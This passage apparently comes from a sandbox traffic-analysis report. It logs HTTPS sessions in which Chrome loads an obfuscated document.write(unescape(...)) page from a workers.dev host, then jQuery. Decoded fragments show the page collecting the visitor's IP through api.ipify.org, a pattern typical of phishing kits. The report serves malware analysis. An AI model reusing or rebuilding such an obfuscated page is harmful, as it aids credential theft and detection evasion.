ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	104.21.47.203	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:33 UTC	691	OUT	GET / HTTP/1.1 Host: worker-curly-silence-18d1.pistisarte.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:33 UTC	599	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:33 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 116046 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=knER39rRrmOr9PvFGrHFrgTm2DY5FrzgVRx68%2Fy98tn5h0mJfyBGge8AnDzhMOQxtoV%2B17VI%2FamHovUa2%2BmkYQ37nJdUF96uqg%2BBGem5nSJH3gSb%2FhU%2BaF4BeluPaLl67ZJN2PFpg%2BJ3wL4hQwyqkp0WFx9FiZ1%2ByYPnZyOpwVDYWcQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9e8c5ed417ce4-EWR alt-svc: h3=":443"; ma=86400
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 3c 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 63 6f 64 65 20 62 79 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 74 6d 6c 2d 63 6f 64 65 2d 67 65 6e 65 72 61 74 6f 72 2e 63 6f 6d 20 2d 2d 3e 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 30 41 25 33 43 25 32 31 25 36 34 25 36 46 25 36 33 25 37 34 25 37 39 25 37 30 25 36 35 25 32 30 25 36 38 25 37 34 25 36 44 25 36 43 25 33 45 25 30 41 25 33 43 25 36 38 25 37 34 25 36 44 25 36 43 25 32 30 25 36 43 25 36 31 25 36 45 25 36 37 25 33 44 25 32 32 25 36 35 25 36 45 25 32 32 25 33 45 25 30 41 25 30 41 25 33 43 25 36 38 25 36 35 25 36 31 25 36 34 25 33 45 25 30 41 25 33 43 25 36 44 25 36 35 25 37 34 25 36 31 25 32 30 25 36 45 25 36 31 25 36 44 25 36 35 25 33 44 25 32 32 25 37 32 25 36 46 Data Ascii: <script>... code by https://www.html-code-generator.com -->document.write(unescape('%0A%3C%21%64%6F%63%74%79%70%65%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%0A%3C%68%65%61%64%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 37 34 25 36 31 25 36 37 25 37 33 25 32 30 25 32 44 25 32 44 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 44 25 36 35 25 37 34 25 36 31 25 32 30 25 36 33 25 36 38 25 36 31 25 37 32 25 37 33 25 36 35 25 37 34 25 33 44 25 32 32 25 37 35 25 37 34 25 36 36 25 32 44 25 33 38 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 44 25 36 35 25 37 34 25 36 31 25 32 30 25 36 45 25 36 31 25 36 44 25 36 35 25 33 44 25 32 32 25 37 36 25 36 39 25 36 35 25 37 37 25 37 30 25 36 46 25 37 32 25 37 34 25 32 32 25 32 30 25 36 33 25 36 46 25 36 45 25 37 34 25 36 35 25 36 45 25 37 34 25 33 44 25 32 32 25 37 37 25 36 39 25 36 34 25 37 34 25 36 38 25 33 44 25 36 34 25 36 35 25 37 36 25 36 39 25 36 33 25 36 35 25 32 44 25 37 37 25 Data Ascii: 74%61%67%73%20%2D%2D%3E%0A%20%20%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%75%74%66%2D%38%22%3E%0A%20%20%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 32 25 37 33 25 37 34 25 37 39 25 36 43 25 36 35 25 37 33 25 36 38 25 36 35 25 36 35 25 37 34 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 37 33 25 37 32 25 36 33 25 33 44 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 41 25 32 46 25 32 46 25 36 42 25 36 39 25 37 34 25 32 45 25 36 36 25 36 46 25 36 45 25 37 34 25 36 31 25 37 37 25 36 35 25 37 33 25 36 46 25 36 44 25 36 35 25 32 45 25 36 33 25 36 46 25 36 44 25 32 46 25 33 35 25 33 38 25 33 35 25 36 32 25 33 30 25 33 35 25 33 31 25 33 32 25 33 35 25 33 31 25 32 45 25 36 41 25 37 33 25 32 32 25 32 30 25 36 33 25 37 32 25 36 46 25 37 33 25 37 33 25 36 46 25 37 32 25 36 39 25 36 37 25 36 39 25 36 45 25 33 Data Ascii: 2%73%74%79%6C%65%73%68%65%65%74%22%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%6B%69%74%2E%66%6F%6E%74%61%77%65%73%6F%6D%65%2E%63%6F%6D%2F%35%38%35%62%30%35%31%32%35%31%2E%6A%73%22%20%63%72%6F%73%73%6F%72%69%67%69%6E%3
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 25 36 35 25 37 38 25 37 34 25 36 31 25 37 32 25 36 35 25 36 31 25 33 41 25 36 36 25 36 46 25 36 33 25 37 35 25 37 33 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 39 25 36 45 25 37 30 25 37 35 25 37 34 25 33 41 25 36 36 25 36 46 25 36 33 25 37 35 25 37 33 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 33 41 25 36 36 25 36 46 25 36 33 25 37 35 25 37 33 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 33 41 25 36 31 25 36 33 25 37 34 25 36 39 25 37 36 25 36 35 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 33 41 25 36 38 25 36 46 25 37 36 25 36 35 25 37 32 Data Ascii: %65%78%74%61%72%65%61%3A%66%6F%63%75%73%2C%0A%20%20%20%20%69%6E%70%75%74%3A%66%6F%63%75%73%2C%0A%20%20%20%20%62%75%74%74%6F%6E%3A%66%6F%63%75%73%2C%0A%20%20%20%20%62%75%74%74%6F%6E%3A%61%63%74%69%76%65%2C%0A%20%20%20%20%62%75%74%74%6F%6E%3A%68%6F%76%65%72
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 36 31 25 36 34 25 36 34 25 36 39 25 36 45 25 36 37 25 33 41 25 32 30 25 33 34 25 33 34 25 37 30 25 37 38 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 44 25 36 31 25 37 32 25 36 37 25 36 39 25 36 45 25 32 44 25 36 43 25 36 35 25 36 36 25 37 34 25 33 41 25 32 30 25 36 31 25 37 35 25 37 34 25 36 46 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 44 25 36 31 25 37 32 25 36 37 25 36 39 25 36 45 25 32 44 25 37 32 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 36 31 25 37 35 25 37 34 25 36 46 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 44 25 36 31 25 37 32 25 36 37 25 36 39 25 36 45 25 32 44 25 37 34 25 Data Ascii: 61%64%64%69%6E%67%3A%20%34%34%70%78%3B%0A%20%20%20%20%20%20%20%20%6D%61%72%67%69%6E%2D%6C%65%66%74%3A%20%61%75%74%6F%3B%0A%20%20%20%20%20%20%20%20%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%20%61%75%74%6F%3B%0A%20%20%20%20%20%20%20%20%6D%61%72%67%69%6E%2D%74%
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 37 25 36 39 25 36 45 25 32 44 25 36 43 25 36 35 25 36 36 25 37 34 25 33 41 25 32 30 25 33 38 25 37 30 25 37 38 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 44 25 36 31 25 37 32 25 36 37 25 36 39 25 36 45 25 32 44 25 37 32 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 33 38 25 37 30 25 37 38 25 33 42 25 30 41 25 37 44 25 32 41 25 32 46 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 34 25 36 39 25 37 36 25 32 30 25 32 45 25 36 36 25 36 46 25 36 46 25 37 34 25 36 35 25 37 32 25 34 45 25 36 46 25 36 34 25 36 35 25 32 30 25 36 31 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 34 25 36 39 25 37 36 25 32 30 25 32 45 25 36 36 25 36 46 25 36 46 25 37 34 25 36 35 25 37 32 25 34 45 25 36 46 25 36 34 25 36 35 25 32 30 25 37 Data Ascii: 7%69%6E%2D%6C%65%66%74%3A%20%38%70%78%3B%0A%20%20%20%20%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%20%38%70%78%3B%0A%7D%2A%2F%0A%20%20%20%20%64%69%76%20%2E%66%6F%6F%74%65%72%4E%6F%64%65%20%61%2C%0A%20%20%20%20%64%69%76%20%2E%66%6F%6F%74%65%72%4E%6F%64%65%20%7
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 25 32 30 25 32 30 25 32 34 25 32 45 25 36 37 25 36 35 25 37 34 25 34 41 25 35 33 25 34 46 25 34 45 25 32 38 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 41 25 32 46 25 32 46 25 36 31 25 37 30 25 36 39 25 32 45 25 36 39 25 37 30 25 36 39 25 36 36 25 37 39 25 32 45 25 36 46 25 37 32 25 36 37 25 33 46 25 36 36 25 36 46 25 37 32 25 36 44 25 36 31 25 37 34 25 33 44 25 36 41 25 37 33 25 36 46 25 36 45 25 32 32 25 32 43 25 32 30 25 36 36 25 37 35 25 36 45 25 36 33 25 37 34 25 36 39 25 36 46 25 36 45 25 32 30 25 32 38 25 36 34 25 36 31 25 37 34 25 36 31 25 32 39 25 32 30 25 37 42 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 34 Data Ascii: %20%20%24%2E%67%65%74%4A%53%4F%4E%28%22%68%74%74%70%73%3A%2F%2F%61%70%69%2E%69%70%69%66%79%2E%6F%72%67%3F%66%6F%72%6D%61%74%3D%6A%73%6F%6E%22%2C%20%66%75%6E%63%74%69%6F%6E%20%28%64%61%74%61%29%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 36 33 25 37 36 25 34 44 25 34 34 25 36 33 25 37 36 25 34 44 25 35 34 25 34 44 25 37 34 25 34 44 25 34 34 25 34 35 25 33 36 25 34 44 25 34 34 25 35 39 25 33 36 25 34 44 25 37 41 25 36 42 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 39 25 32 42 25 34 39 25 34 34 25 37 38 25 37 39 25 35 41 25 34 37 25 35 39 25 33 36 25 35 35 25 36 42 25 35 32 25 34 37 25 34 39 25 34 38 25 36 38 25 37 34 25 36 32 25 34 37 25 33 35 25 37 41 25 34 46 25 36 45 25 34 41 25 36 42 25 35 41 25 36 41 25 33 30 25 36 39 25 36 31 25 34 38 25 35 32 25 33 30 25 36 33 25 34 34 25 36 46 25 37 36 25 34 43 25 33 33 25 36 34 25 33 33 25 36 34 25 37 39 25 33 35 25 33 33 25 34 44 25 37 39 25 33 35 25 37 36 25 36 33 25 36 44 25 36 33 25 Data Ascii: 63%76%4D%44%63%76%4D%54%4D%74%4D%44%45%36%4D%44%59%36%4D%7A%6B%67%49%43%41%67%49%43%41%67%49%43%49%2B%49%44%78%79%5A%47%59%36%55%6B%52%47%49%48%68%74%62%47%35%7A%4F%6E%4A%6B%5A%6A%30%69%61%48%52%30%63%44%6F%76%4C%33%64%33%64%79%35%33%4D%79%35%76%63%6D%63%
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 Data Ascii: 1%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%6
2024-04-26 22:11:33 UTC	1369	IN	Data Raw: 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 Data Ascii: %67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49761	151.101.130.137	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:35 UTC	713	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://worker-curly-silence-18d1.pistisarte.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:35 UTC	519	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 4957469 Date: Fri, 26 Apr 2024 22:11:35 GMT Via: 1.1 varnish X-Served-By: cache-lga21968-LGA X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1714169495.295947,VS0,VE1 Vary: Accept-Encoding
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-04-26 22:11:35 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) 